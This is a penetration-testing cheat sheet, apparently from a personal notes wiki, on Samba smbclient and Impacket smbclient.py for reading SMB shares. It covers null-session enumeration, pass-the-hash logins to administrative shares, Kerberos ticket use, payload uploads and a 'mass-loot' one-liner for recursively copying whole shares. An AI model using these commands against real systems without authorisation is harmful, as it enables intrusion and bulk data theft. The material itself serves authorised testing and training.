smbclient & smbclient.py
Two different tools, same goal — reading files off SMB (445) shares. Reach for Samba smbclient by default; switch to Impacket smbclient.py when the domain is Kerberos-only (NTLM disabled) or you’re authenticating with a ticket/hash.
smbclient (Samba) — the default
# list shares — anonymous / null session
smbclient -L //10.10.10.5 -N
smbclient -L //10.10.10.5 -U '' -N
# list shares — authenticated
smbclient -L //10.10.10.5 -U 'DOMAIN/user'
# connect to one share
smbclient //10.10.10.5/Development -N
smbclient '//10.10.10.5/IT' -U 'DOMAIN/user'
# pass-the-hash
smbclient //10.10.10.5/C$ --pw-nt-hash -U 'DOMAIN/administrator%<NThash>'
| Flag | Meaning |
|---|---|
-L //host | list shares |
-N | no password (null/anonymous) |
-U 'DOM/user%pass' | credentials inline (% separates pass) |
--pw-nt-hash | treat the -U password as an NT hash (PtH) |
-c "cmds" | run ;-separated commands then exit (scripting) |
--use-kerberos=required | require Kerberos; use the server FQDN and an available ticket |
-m SMB3 | set the maximum protocol level; not an exact-version pin |
-W DOMAIN | set workgroup/domain separately |
Inside the smbclient session
smb: \> ls # list current dir
smb: \> cd "Internal Dir" # quote names with spaces
smb: \> get Upgrade_Notice.pdf # download one file
smb: \> put payload.exe # upload
smb: \> mget * # download many (prompt per file)
smb: \> prompt off # turn OFF per-file confirmation before mget/mput
smb: \> recurse on # descend subdirs for mget
smb: \> mask "" # clear filename mask so recurse grabs everything
smb: \> tar c loot.tar # tar the whole share to a local file
Non-interactive mass-loot (recurse everything a share exposes):
smbclient //10.10.10.5/Share -N -c 'prompt off; recurse on; mget *'
# whole share to a tarball:
smbclient //10.10.10.5/Share -N -c 'tar c share.tar'
[!tip]
prompt off; recurse on; mask ""is the loot combo Withoutprompt offevery file asks y/n; withoutrecurse on+ an emptymaskyou only get the top directory. Chain all three (via-cor at the prompt) to pull an entire tree in one shot.
smbclient.py (Impacket) — Kerberos-only domains
Samba also supports Kerberos. Require it explicitly rather than relying on deprecated -k or NTLM fallback:
# Kerberos with a prompted password (Impacket builds the TGT)
smbclient.py 'domain.htb/user@dc01.domain.htb' -k -dc-ip 10.10.10.5
# Kerberos from an existing ccache (NTLM off)
export KRB5CCNAME=user.ccache
smbclient.py -k -no-pass domain.htb/user@dc01.domain.htb
# pass-the-hash
smbclient.py -hashes ':<NThash>' 'DOMAIN/administrator@10.10.10.5'
Session commands differ slightly from Samba’s:
# shares # list shares
# use CertEnroll # select a share
# ls
# get file.txt
# put payload.exe
# cat file.txt # read without downloading
# mkdir / rm / mget # as expected
| Flag | Meaning |
|---|---|
-k | Kerberos auth (uses KRB5CCNAME if present) |
-no-pass | don’t prompt (ticket/-k already covers it) |
-hashes [LM]:NT | pass-the-hash |
-dc-ip | DC for Kerberos/name resolution |
[!warning] Watch out
NT_STATUS_ACCESS_DENIEDon-L— null listing is blocked; you need creds.netexec smb $IP -u '' -p '' --sharessometimes still enumerates wheresmbclient -L -Nwon’t.- Kerberos needs the FQDN and correct clock — use
dc.domain.htb, not the IP, andsudo ntpdate <dc>if you getKRB_AP_ERR_SKEW.- Spaces in share/dir names must be quoted inside the session (
cd "Third-Line Support").smbmap/netexec --sharesare faster for which shares are readable/writable at a glance; smbclient is for actually moving files. See below.
Samba Kerberos and targeted collection
export KRB5CCNAME="$PWD/user.ccache"
smbclient //files01.domain.htb/Share --use-kerberos=required -U 'DOMAIN/user'
# Put selected downloads in a local directory; prompt for the password
mkdir -p evidence/smb
smbclient //10.10.10.5/IT -U 'DOMAIN/user' -c 'lcd evidence/smb; cd Reports; get review.pdf'
List first, select files, then collect. Preserve the share and remote path in your notes. Recursive download can be large and does not preserve the server’s ACLs as evidence. Samba’s recurse, mask and prompt commands are not a portable script for Impacket’s shell.
Success: the account can open the specific share and read the chosen file. Share listing, authentication, read access and write access are separate claims; don’t label a share writable from an ls result. Validate a suspected write permission with an agreed disposable file and remove it afterward.
Work one share without collecting the whole tree
mkdir -p evidence/smb
smbclient //files01.example.test/Department -U 'EXAMPLE/labuser'
At Samba’s prompt:
pwd
ls
cd "Monthly Reports"
ls
allinfo review.pdf
lcd evidence/smb
get review.pdf
quit
allinfo is a Samba command; do not paste it into Impacket’s shell. Keep the server, share, directory and filename in the collection notes. A download to the current local directory does not preserve every server-side metadata field.
Preserve the server name when connecting to an IP
# Samba: logical server name remains the FQDN, TCP connects to the stated IP
smbclient //files01.example.test/Department -I 192.0.2.20 \
--use-kerberos=required -U 'EXAMPLE/labuser'
# Impacket: service name and connection address are separate options
smbclient.py -k -no-pass -target-ip 192.0.2.20 \
'example.test/labuser@files01.example.test'
The FQDN is used for the service identity; the address selects the TCP destination. A DNS alias is not necessarily registered as a CIFS SPN. Check the service’s real name before assuming a cache or password is invalid.
Test a suspected write separately
Where a write check is part of the exercise, use a unique disposable text file. In Samba’s shell, put lab-write-proof.txt tests create/write, and del lab-write-proof.txt tests cleanup. Verify deletion. A share can permit creation while denying deletion; record those operations separately and avoid repeatedly leaving new files behind.
Diagnose status codes in context
| Error/result | First check |
|---|---|
NT_STATUS_LOGON_FAILURE | User/domain identity, auth method and material |
NT_STATUS_BAD_NETWORK_NAME | Exact share name; C$ may not exist or be exposed |
NT_STATUS_ACCESS_DENIED on connect | Share-level access for the authenticated identity |
| Access denied on one file | File/directory ACL, not automatically the entire share |
NT_STATUS_OBJECT_NAME_NOT_FOUND | Current remote directory and exact filename |
| Kerberos service-principal error | FQDN/SPN registration, realm and clock |
| SMB1 workgroup-listing warning | Whether the preceding SMB2/3 share list already succeeded |
Share discovery may return entries you cannot open. A readable folder can contain unreadable files. Validate the operation needed for the proposed attack chain rather than translating every successful connection into administrator access.
See Also
- smbmap — read/write permission matrix across all shares at once.
- NetExec —
--shares,--spider_plus, and SMB auth checks. - Anonymous / Null Testing — the unauthenticated SMB/RPC/LDAP sweep.
- Impacket — the rest of the
.pytoolset for Kerberos domains.